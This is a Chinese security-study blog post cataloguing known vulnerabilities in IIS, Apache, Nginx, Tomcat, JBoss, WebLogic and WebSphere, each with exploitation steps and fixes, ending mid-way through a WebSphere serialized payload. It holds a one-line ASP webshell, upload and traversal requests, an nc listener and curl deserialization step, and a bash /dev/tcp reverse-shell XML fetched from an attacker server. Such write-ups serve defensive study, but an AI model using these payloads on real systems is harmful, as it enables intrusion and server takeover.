常见中间件漏洞

zero1安全笔记 2021-10-12

3461

声明：本文为安全学习记录，请勿利用文章中的相关技术从事非法测试，若因此产生的一切不良后果与本文作者和本公众号无关。

常见的中间件

IIS

Apache

Nginx

Tomcat

Jboss

Weblogic

WebSphere

本文为常见中间件的常见漏洞，不涉及各个中间件的全部漏洞。

1.IIS漏洞

1.1 IIS6.0 PUT上传漏洞

IIS开启了PUT上传方法，利用此方法可以上传任意文件。

原因与条件

1.IIS Server在Web服务扩展中开启了WebDAV；2.IIS配置了写入权限

利用方法

1.利用options方法检测是否开启WebDAV，还有支持的协议

OPTIONS / HTTP/1.1
Host:www.zero1sec.com

若返回信息存在以下内容，说明开启了WebDAV，支持PUT协议

DAV:1,2
Public:……,PUT,MOVE,POST,……

2.不能直接上传Webshell，需要先上传一句话TXT文件，再将文件扩展名改为asp

PUT /test.txt HTTP/1.1
Host: www.zero1sec.com
Content-Length: 25


<%eval request("cmd")%>

若服务器返回201 Created则创建成功，再利用move方法修改扩展名

MOVE /test.txt HTTP/1.1
Host: www.zero1sec.com
Destination: http://www.zero1sec.com/shell.asp
 
  //存在一个空格

若服务器返回201 Created则修改成功，即获得一个Webshell。

修复方法

1.关闭WebDAV
2.去除写入权限

1.2 IIS短文件名枚举漏洞

原因与条件

短文件名机制：

https://www.secpulse.com/archives/92721.html

IIS的短文件名机制，可以暴力猜解短文件名，访问构造的某个存在的短文件名，会返回404，访问构造的某个不存在的短文件名，返回400，该漏洞在IIS全部版本中存在，除了IIS使用.Net Framework 4时不受影响， IIS8.0以下版本需要开启ASP.NET支持，IIS>=8.0版本,即使没有安装ASP.NET，通过OPTIONS和TRACE方法也可以猜解成功，不同版本在返回结果上可能存在不同。

利用方法

网站根目录存在bcadefg121.txt文件，IIS版本为6.0。

访问http://www.zero1sec.com/a*~1*/.aspx，返回400，即不存在开头为a的文件；
访问http://www.zero1sec.com/b*~1*/.aspx，返回404，即存在开头为b的文件；
访问http://www.zero1sec.com/ba*~1*/.aspx，返回400，即不存在开头为ba的文件；
访问http://www.zero1sec.com/bb*~1*/.aspx，直到找到一个返回为404的，再查询第三位；
循环访问，找到404则跳出循环，再找下一个，直到访问到该文件。

类似于sql注入中的盲注，可以编写脚本进行测试。

检测工具：https://github.com/lijiejie/IIS_shortname_Scanner，只能检测，不能猜解。

修复方法

1.升级.net framework或者禁用ASP.NET功能（若Web环境不需要ASP.NET支持）
2.关闭NTFS对8.3文件名格式的支持（此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消
失。如果不重新复制，已经存在的短文件名则是不会消失的。） 修改注册表键值：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
修改NtfsDisable8dot3NameCreation为1。修改完成后,需要重启系统生效。3.禁止在URL中使用“~”及其Unicode编码

1.3 IIS HTTP.sys远程代码执行漏洞（MS15-034）

原因与条件

HTTP.sys详解：

https://www.cnblogs.com/yxmx/articles/1652128.html

HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞，当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求，HTTP.sys 未正确分析时就会导致此漏洞，成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码，可以使IIS系统蓝屏等。

主要存在Windows+IIS的环境下，任何安装了微软IIS 7.0以上的Windows Server 2008 R2/Server2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。

利用方法

1.检测漏洞是否存在，在浏览器编辑请求头，增加Range: bytes=0-18446744073709551615字段，若返回码状态为416 Requested Range Not Satisfiable，则存在HTTP.SYS远程代码执行漏洞；或者使用curl工具，命令

curl -v www.zero1sec.com -H "Host:irrelevant" -H "Range:bytes=0-18446744073709551615"

返回码状态为416 RequestedRange Not Satisfiable，即存在漏洞。

2.对网站执行poc，目标系统会蓝屏或者卡顿；或者使用渗透框架msf搜索该漏洞利用模块，进行测试

修复方法

1.打补丁（KB3042553），重启系统生效；2.若无法打补丁，可以禁用IIS内核缓存，但会导致IIS性能下降。

1.4 IIS6.0解析漏洞

1.4.1 IIS6.0文件名解析漏洞

原因与条件

IIS在处理类似test.asp;.jpg文件时，正常情况下不会当做asp文件解析，但在IIS6.0版本，IIS会把分号之后的内容截断，变成test.asp，当做asp文件执行。iis除了会将asp解析成脚本执行文件之外，还会将 cer cdx asa扩展名解析成asp，原因是 asp cer cdx asa这四个扩展名都是由同一个dll解析，都是asp.dll。

利用方法

1.制作上传或者直接创建asp（也可以是cer cdx asa）一句话木马，命名为*.asp;.jpg，访问或者利用工具连接，获得Webshell。

修复方法

1.禁止创建和上传此类畸形文件；
2.上传文件存放目录设置成禁止脚本文件执行；
3.升级iis版本。

1.4.2 IIS6.0文件夹解析漏洞

原因与条件

当目录的名称是*.asp *.cer *.cdx *.asa时，目录下的文件都会被当做asp文件解析，原理类似文件名解析漏洞，这些文件扩展名都是由asp.dll解析。

利用方法

1.创建此类文件夹，上传存在恶意代码的图片文件；或者查找已经存在的此类文件夹，上传恶意代码文件。

修复方法

1.禁止创建此类文件夹名称，或者直接禁止创建文件夹；
2.升级IIS版本

1.5 CVE-2017-7269 远程代码执行漏洞

原理与条件

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:

利用方法

1.检测是否开启WebDAV

OPTIONS / HTTP/1.1
Host:www.zero1sec.com

若返回信息存在以下内容，说明开启了WebDAV

DAV:1,2

2.执行exp，设置IP及其端口，监听本机端口，反弹shell

exp地址：

https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

修复方法

1.关闭 WebDav服务


2.升级IIS版本

1.6 IIS7.x解析漏洞

原理与条件

IIS7.x版本在Fast-CGl运行模式下（cgi.fix_pathinfo=1），在任意文件，例：1.jpg/png后面加上/.php，因为php不存在，会向前解析，将1.jpg/png解析为php文件。

利用方法

1.上传图片马1.jpg，访问http://www.zero1sec.com/1.jpg/.php，1.jpg会被当做PHP文件解析，恶意代码被执行。

修复方法

1.配置 cgi fix_pathinfo（php ini）为0并重启php-cgi程序；
2.处理程序映射->FastCGI->请求限制->映射->选择文件或文件夹->确定

2.Apache漏洞

Apache目录结构

bin-------存放常用的命令工具，例如httpd
cgi-bin---存放Linux下常用的命令，例如xxx.sh
conf------Linux的配置相关文件，例如httpd.conf
error-----错误记录
htdocs----放网站源码
icons-----网站图标
logs------日志
manual----手册
modules---扩展模块

2.1 Apache解析漏洞

原因与条件

如果一个文件有多个后缀名，当最后边的后缀无法识别（Apache配置文件中的mime.types没有定义的扩展名），则继续向前识别，直到识别到合法后缀才进行解析。如果所有的后缀名都无法解析，就会以DefaultType的默认值text/plain将该文件当做文本解析。使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞，使用fastcig模式与php结合的所有版本apache不存在此漏洞。

利用方法

1.上传一个木马文件，命名为1.php.aam，如果是黑名单机制，可以利用此方式绕过，访问http://www.zero1sec.com/1.php.aam获得一个Webshell。

修复方法

1.在httpd.conf或httpd-vhosts.conf中加入以下语句，防止文件名中有“.php”的文件被执行：
<FileMatch ".(php\.|php3.\|php5\.|php7\.)">


  Order Deny,Allow
  Deny from all


</FileMatch>

2.2 Apache目录遍历漏洞

原因与条件

当客户端访问到一个目录时，Apache服务器将会默认寻找一个index list中的文件，若文件不存在，则会列出当前目录下所有文件或返回403状态码，该漏洞多数是因为配置错误导致的。

利用方法

1.直接访问网站根目录或者某个存在的目录，会直接显示该目录结构。

修复方法

1.在httpd.conf文件中找到Options + Indexes + FollowSymLinks + ExecCGI并修改成Options -Indexes +FollowSymLinks + ExecCGI并保存，把“+”修改为“-”。+ Indexes 允许目录浏览 - Indexes 禁止目录浏览

2.3 Apache换行解析漏洞

原因与条件

漏洞编号（CVE-2017-15715）

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15715

漏洞描述：在 Apache httpd 2.4.0 到 2.4.29 中，指定的表达式可以将“$”匹配到恶意文件名中的换行符，而不是仅匹配文件名的末尾。这可以在某些文件的上传被外部阻止的环境中被利用，但只能通过匹配文件名的尾随部分。

通俗解释就是“$”在正则表达式中匹配字符串的结尾，如果设置了RegExp对象的Multiline属性，则也匹配 '\n' 或 '\r'，当我们在文件名后面加一个换行符时，Apache会将换行符一起匹配，相当于文件名为1.php%0a，可以绕过黑名单，且可以被解析为PHP脚本。

利用方法

1.上传木马文件1.php时，存在黑名单拦截，上传失败；或者上传图片马但不解析，抓包修改，在Content-Disposition:from-data;name="name" 下面第二行添加1.php1（1为了占位方便修改），在hex编码界面，修改1为0x0a，然后发包，访问即可执行1.php。

修复方法

1.升级Apache到最新版本


2.将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行权限

3.Nginx漏洞

3.1 Nginx文件解析漏洞

原因与条件

Nginx解析漏洞是PHP CGI解析漏洞造成的，多数是配置不当，与Nginx版本无关，Nginx在解析PHP文件时，PHP默认开启cgi.fix_pathinfo，如果设置了cgi.fix_pathinfo=1，在访问http://www.zero1sec.com/x.jpg/x.php时，若x.php不存在，x.jpg存在，会把x.jpg当做PHP文件解析。

利用方法

1.在网站上传点上传图片木马1.jpg，访问http://www.zero1sec.com/1.jpg/1.php，获得Webshell，黑名单或者白名单都能绕过。

修复方法

1.修改PHP配置文件，设置cgi.fix_pathinfo=0，保存重启PHP-FPM；
2.修改Nginx配置，添加如下代码，然后重启Nginx。
if($fastcgi_script_name~\..*\/.*php){
 return 403;
}
3. php-fpm.conf中的security.limit_extensions后面的值设置为.php

3.2.1 目录遍历漏洞

原因与条件

与Apache目录遍历漏洞相似，属于配置不当造成漏洞，如果nginx.conf中，autoindex状态为on （开启目录浏览），访问网站可以导致目录遍历和源码泄露。

利用方法

1.访问网站或者任一存在的目录，可以显示其下所有文件。

修复方法

1.设置 autoindex off 关闭目录浏览


2.删除 autoindex on

3.2.2 目录穿越漏洞

原因与条件

Nginx反向代理时，静态文件存储在/home/下，而访问时需要在url中输入要访问的目标文件files，需要如下配置（示例代码为配置错误代码）：

location /files{ alias/home/; }

其中/files没有闭合，导致可以穿越之上层目录

利用方法

1.构造恶意URL访问，例如

http://www.zero1sec.com/files../../../../../../../etc/passwd

修复方法

1.修改location和alias的值都有后缀/或都没有/这个后缀。
location /files/{
    alias/home/;
}
或者
location /files{
    alias/home;
}

3.3 Nginx空字节代码执行漏洞

原因与条件

在使用PHP-FastCGI执行php的时候，URL里面在遇到%00空字节时与FastCGI处理不一致，导致可在非php文件中嵌入php代码，通过访问url+%00.php来执行其中的php代码。

影响版本

nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37

利用方法

1.上传图片马1.jpg，访问图片马时抓包，修改访问路径为/1.jpg1.php，在hex里面把1的占位改为00，发包，即可执行图片马里的代码。

修复方法

1.升级Nginx；
2.修改Nginx配置，添加代码，然后重启Nginx。
if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 403;
}

3.4 Nginx整数溢出漏洞（CVE-2017-7529）

原因与条件

在 Nginx 的 range filter 中存在整数溢出漏洞，可以通过带有特殊构造的 range 的 HTTP 头的恶意请求引发这个整数溢出漏洞，并导致信息泄露。

该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。该漏洞利用难度低，但在真实网络攻击中也有一定利用价值。

利用方法

1.利用poc直接运行检测利用；

2.构造range值访问，详细：

https://cloud.tencent.com/developer/article/1680569

修复方法

1.升级Nginx版本

3.5 Nginx CRLF注入漏洞

原因与条件

Nginx将传入的url进行解码，对其中的%0a%0d替换成换行符，导致后面的数据注入至头部，造成CRLF注入漏洞。利用该漏洞可以注入代码。

利用方法

1.会话固定，例如：访问网站http://www.zero1sec.com/%0ASet-cookie:JSPSESSID%3D3；

2.反射型xss，例如：访问网站

http://www.zero1sec.com/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

修复方法

1.修改不当配置，不再使用$uri ，把参数改为$requestt_uri，$requestt_uri不会解码，能够访问完整的url。
location /{
return 302 https://$host$request_uri
}

3.6 Nginx文件名逻辑漏洞（CVE-2013-4547）

原因与条件

该漏洞是非法字符空格和截止符（\0）会导致Nginx解析URI时的有限状态机混乱，此漏洞可导致目录跨越及代码执行，该漏洞不受cgi.fix_pathinfo影响，当其为0时，依旧解析，在Windows上有所限制。其影响版本为：nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7。详细：

https://www.cnblogs.com/bmjoker/p/9838600.html

利用方法

1.上传图片马1.jpg，访问http://www.zero1sec.com/1.jpg...php，抓包，修改第一个点hex为20，第二个点位置为00，即/1.jpg[0x20][0x00].php，发包即可执行代码。

修复方法

1. 设置security.limit_extensions = .php
2. 或升级Nginx

4.Tomcat漏洞

4.1 Tomcat 远程代码执行漏洞（CVE-2017-12615）

原因与条件

当 Tomcat运行在Windows操作系统时，且启用了HTTP PUT请求方法，攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

当在Tomcat的conf（配置目录下）/web.xml配置文件中添加readonly设置为false时，将导致该漏洞产生，需要允许put请求。

CVE-2017-12615影响范围：

Apache Tomcat 7.0.0 - 7.0.79 
Apache Tomcat/8.5.19

利用方法

1.抓包，使用PUT协议上传shell.jsp，但需要绕过，利用以下四种方式，Tomcat会认为它不是jsp文件，这样可以上传成功，可以解析为jsp

PUT /shell.jsp%20 PUT /shell.jsp::$DATA PUT /shell.jsp/ PUT /shell.jsp.

修复方法

1.设置 readonly为true

4.2 Tomcat弱口令&war远程部署

原因与条件

默认管理地址为http://ip:port/manager/html，默认用户名和密码均为tomcat，如果管理员进行了更改，也可以尝试爆破。

成功登陆后台后，可以利用部署WAR包上传木马。

利用方法

1.制作木马文件，打包为shell.war，找到上传点上传，成功会在部署应用的列表看到/shell，访问http://ip:port/shell/shell.jsp即可。

修复方法

1.使用强口令用户名和密码；
2.取消manager/html功能；或者仅允许本地IP访问。

4.3 Tomcat 远程代码执行(CVE-2019-0232)

原因与条件

远程代码执行漏洞（CVE-2019-0232），由于JRE将命令行参数传递给Windows的方式存在错误，会导致CGI Servlet受到远程执行代码的攻击。触发该漏洞需要同时满足以下条件：

1. 系统为Windows；
2. 启用了CGI Servlet（默认为关闭）；
3. 启用了enableCmdLineArguments（Tomcat 9.0.*及官方未来发布版本默认为关闭）。

影响版本

Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93

利用方法

详情：

https://zhuanlan.zhihu.com/p/66906576
https://www.cnblogs.com/liliyuanshangcao/p/10731966.html#_label2

修复方法

1.受影响版本的用户应该应用下列其中一项缓解。升级到：
Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本

4.4 Tomcat反序列化漏洞(cve-2016-8735)

原因与条件

该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞（CVE-2016-3427）相关，是由于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后，Tomcat未能及时修复更新而导致的远程代码执行。该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。

影响版本

ApacheTomcat 9.0.0.M1 到9.0.0.M11
ApacheTomcat 8.5.0 到8.5.6
ApacheTomcat 8.0.0.RC1 到8.0.38
ApacheTomcat 7.0.0 到7.0.72
ApacheTomcat 6.0.0 到6.0.47

利用方法及修复方法

详情：

https://www.jianshu.com/p/1581b9b2849b

4.5 Tomcat文件包含漏洞（CVE-2020-1938）

原因与条件

该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。影响版本

Apache Tomcat 6
Tomcat 7系列  <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31

利用方法及修复方法

payload：

https://github.com/xindongzhuaizhuai/CVE-2020-1938

详情：

https://www.cnblogs.com/A66666/p/048ac3f5170d724b03f62531da252a20.html

5.Jboss漏洞

5.1 JMX Console未授权访问漏洞getshell

原因与条件

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进⼊到jmx控制台，并在其中执⾏任何功能。影响版本为Jboss4.x以下。

利用方法

1. /jmx-console/ 后台存在未授权访问，进入后台后，可直接部署 war 包Getshell。若需登录，可以尝试爆破弱口令登录；

2.然后找到jboss.deployment（jboss 自带的部署功能）中的flavor=URL,type=DeploymentScanner点进去（通过 url 的方式远程部署），也可以通过URL访问

http://IP:port/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

3.找到页面中的void addURL()选项来远程加载war包来部署，填写远程war包地址（http://ip:port/shell.war），返回到刚进入jmx-console的页面，找到 jboss.web.deployment，显示刚刚部署的war包。如果没显示，多刷新几次页面或者等一会，直到看到有部署的war包即可;

4.访问http://ip:port/shell/shell.jsp即可获得shell。

修复方法

1.升级Jboss；
2.设置后台强口令或者关闭jmx-console和web-console。

5.2 JBoss 5.x/6.x 反序列化命令执行漏洞（CVE-2017-12149）

原因与条件

在Red Hat Enterprise Application Platform 5.2附带的Jboss Application Server中，发现HTTP Invoker的ReadOnlyAccessFilter中的doFilter方法不限制对其执行反序列化的类，从而使攻击者可以通过精心制作的序列化数据执行任意代码。影响版本 Jboss5.x/6.x。

利用方法

1.访问url://invoker/readonly，若返回500，exception report，则可能存在该漏洞，也可以使用工具进行检测 DeserializeExploit 如果成功可以直接上传webshell。工具地址：

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

2.使用JavaDeserH2HC进行反弹shell （利用序列化）下载地址

https://github.com/joaomatosf/JavaDeserH2HC

，在kali上安装jdk8；

创建class文件

javac -cp .:commons-collections-3.2.1.jar
ReverseShellCommonsCollectionsHashMap.java
创建反序列化文件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap
192.168.0.1:9999
监听kali 9999端口
nc -lvnp 9999
psot提交
curl http://192.168.0.2:8080/invoker/readonly --data-binary@ReverseShellCommonsCollectionsHashMap.ser

修复方法

1.升级新版本。
2.删除 http-invoker.sar 组件。
3.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中：用于对 http invoker 组件进行访问控制。
<url-pattern>/*</url-pattern>

5.3 Jboss 5.x/6.x admin-Console后台部署war包Getshell

原因与条件

Jboss 5.x/6.x admin-console和web-console的账号密码是一样的。因此当web-console无法部署war包时，可以使用admin-console来部署。前提是先得到账号密码，密码保存在jboss/server/default/conf/props/jmx-console-users.properties。影响版本：Jboss5.x/6.x。

利用方法

1.创建一个shell.war包，包含shell.jsp木马，进入admin-console页面后输入账号密码登录（爆破）

http://192.168.0.1:8080/admin-console/login.seam?conversationId=2

，选择 Web Application (WAR)->Add New Web Application (WAR)，上传shell.war，访问http://192.168.0.1:8080/shell/shell.jsp即可获得一个shell。

修复方法

1.设置强口令

5.4 JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

原因与条件

EJBInvokerServlet和JMXInvokerServlet Servlet中存在一个远程执行代码漏洞。未经身份验证的远程攻击者可以通过特制请求利用此漏洞来安装任意应用程序，主要集中在Jboss6.x版本。

利用方法

https://www.cnblogs.com/sevck/p/4978901.html

修复方法

1.升级Jboss版本

5.5 JBOSSMQ JMS 集群反序列化漏洞（CVE-2017-7504）

原因与条件

JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

利用方法

1.首先验证目标jboss是否存在此漏洞,直接访问/jbossmq-httpil/HTTPServerILServlet 路径下。若访问200，则可能存在漏洞；

2.使用JavaDeserH2HC工具来利用该漏洞,尝试直接弹回一个shell。

修复方法

1.升级Jboss版本

Jboss漏洞复现：

http://www.sins7.cn/%E6%9C%80%E5%85%A8%E7%9A%84jboss%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

6.Weblogic漏洞

6.1 weblogic 弱口令getshell漏洞

原因与条件

弱口令导致的漏洞，访问http://IP:port/console/login/LoginForm.jsp，输入用户名密码登录，错误密码5次之后就会自动锁定，常见弱口令

https://cirt.net/passwords?criteria=weblogic

利用方法

1.登录后台后，点击部署 ->安装 ->上传文件shell.war，上传war后门文件，一直下一步到完成，访问shell/shell.jsp获得shell。

修复方法

1.设置强口令

6.2 XMLDecoder反序列化漏洞(CVE-2017-3506)

原因与条件

WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017-10271，Oracle官方在2017年10月份发布了该漏洞的补丁，但没有公开漏洞细节，如果企业未及时安装补丁，存在被攻击的风险。对企业服务器发起了大范围远程攻击，对大量企业的服务器造成了严重威胁，受影响版本：10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

利用方法

1.访问以下目录中的一种，有回显web services信息可以判断wls-wsat组件存在

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

发送post包

详情：
https://blog.csdn.net/he_and/article/details/90582262

修复方法

更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求，考虑是否删除WLS-WebServices组件。包含此组件路径为：
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后，需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

6.3 wls-wsat反序列化漏洞(CVE-2019-2725)

原因与条件

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过。影响版本：weblogic 10.x weblogic 12.1.3。

漏洞详情：

http://blog.nsfocus.net/weblogic-wls9-async-cve-2019-2725/

利用方法

1.漏洞存在于：_async/AsyncResponseService，访问地址可以访问则存在漏洞：http://ip:port/_async/AsyncResponseService；

2.使用burp提交poc，获得webshell。

详情：

https://blog.csdn.net/weixin_41598660/article/details/111247208

修复方法

1.禁用bea_wls9_async_response组件
2.删除wls9_async_response的war包并重启
3.禁止访问 /_async/* 路径。

6.4 WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)

原因与条件

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中,并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。

影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

利用方法

1.下载poc ，

git clone https://github.com/jas502n/CVE-2018-2628.git

进入CVE-2018-2628目录执行getshell命令 python CVE-2018-2628-Getshell.py ip port shell.jsp

修复方法

1.及时更新补丁
2.禁用T3协议
3.禁止T3端口对外开放, 或者限制可访问T3端口的IP来源

6.5WebLogic CVE-2018-2894文件任意上传

原因与条件

Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞，进而获取服务器权限。Web Service Test Page 在 ‘生产模式’ 下默认不开启，所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do。

影响版本

weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3

利用方法

1.Weblogic为开发模式，第一个上传点在 ws_utc/config.do，访问http://IP:port/ws_utc/config.do，将目录设置为 ws_utc 应用的静态文件css目录，访问这个目录无需权限。设置好目录后上传一个shell.jsp木马文件，F12查看时间戳（用于拼接shell路径），访问http://ip:port/ws_utc/css/config/keystore/时间戳_shell.jsp获得一个shell；

2.访问http://ip:port/ws_utc/begin.do（弱口令），上传一个jsp，忽略错误提示，F12进入网络，然后筛选POST方法，得到一个jsp的路径，访问该路径获得一个shell。

修复方法

1.设置强口令；
2.启动生产模式。

6.6 WebLogic远程代码执行漏洞（CVE-2020-14882）

原因与条件

2020年10月28日，Oracle发布的10月安全更新中的Oracle WebLogic Server 远程代码执行漏洞（CVE2020-14882）POC被公开，远程攻击者可以通过发送恶意的HTTP GET 请求。成功利用此漏洞的攻击者可在未经身份验证的情况下控制 WebLogic Server Console ，并执行任意代码。2020年10月29日, Oracle发布的漏洞补丁CVE-2020-14882存在可绕过的0day漏洞。即在Weblogic补丁更新完成后，攻击者仍可绕过WebLogic后台登录等限制，并控制Weblogic服务器。

影响版本

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

利用方法

1.构造url访问：

http://ip:7001/console/images/%252E%252E%252Fconsole.portal？_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

，达成未授权登录；

2.利用远程加载XML文件拿shell，创建shell XML文件，使用bash命令反弹shell

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

3.使用nc在vps上监听，访问URL：

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://vps_ip/shell.xml")

，获得一个shell。该方法在12.2.1.3以及10.3.6版本都可以执行。

修复方法

1.安装官方最新补丁进行升级
https://www.oracle.com/security-alerts/cpuapr2020.html
临时措施：由于该漏洞的补丁存在被绕过的风险，建议临时关闭后台/console/console.portal对外访问。

7.WebSphere漏洞

7.1 WebSphere反序列化漏洞 (CVE-2015-7450）

原因与条件

IBM WebSphere Application Server受到Apache Commons Collections远程代码执行漏洞的影响，该漏洞源于Java InvokerTransformer类的数据反序列化，通过构造的数据，攻击者利用此漏洞可在系统上执行任意Java代码。

影响版本

IBM Websphere Application Server 6.2
IBM Websphere Application Server 7.0

利用方法

1.访问8880端口，返回如下信息则可能存在漏洞

2.使用burp发包测试

POST / HTTP/1.1
Host: localhost:8880
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml
SOAPAction: urn:AdminServiceContent-Length: 8886


<?xml version='1.0' encoding='UTF-8'?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header ns0:JMXConnectorContext="rO0ABXNyAA9qYXZhLnV0aWwuU3RhY2sQ/irCuwmGHQIAAHhyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAKc3IAOmNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3IuSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnTblRMyYyF8sQIABUwACGNlbGxOYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAAIaG9zdE5hbWVxAH4AB0wACG5vZGVOYW1lcQB+AAdMAApzZXJ2ZXJOYW1lcQB+AAdbAApzdGFja1RyYWNldAAeW0xqYXZhL2xhbmcvU3RhY2tUcmFjZUVsZW1lbnQ7eHB0AAB0AAhMYXAzOTAxM3EAfgAKcQB+AAp1cgAeW0xqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnQ7AkYqPDz9IjkCAAB4cAAAACpzcgAbamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50YQnFmiY23YUCAARJAApsaW5lTnVtYmVyTAAOZGVjbGFyaW5nQ2xhc3NxAH4AB0wACGZpbGVOYW1lcQB+AAdMAAptZXRob2ROYW1lcQB+AAd4cAAAAEt0ADpjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3R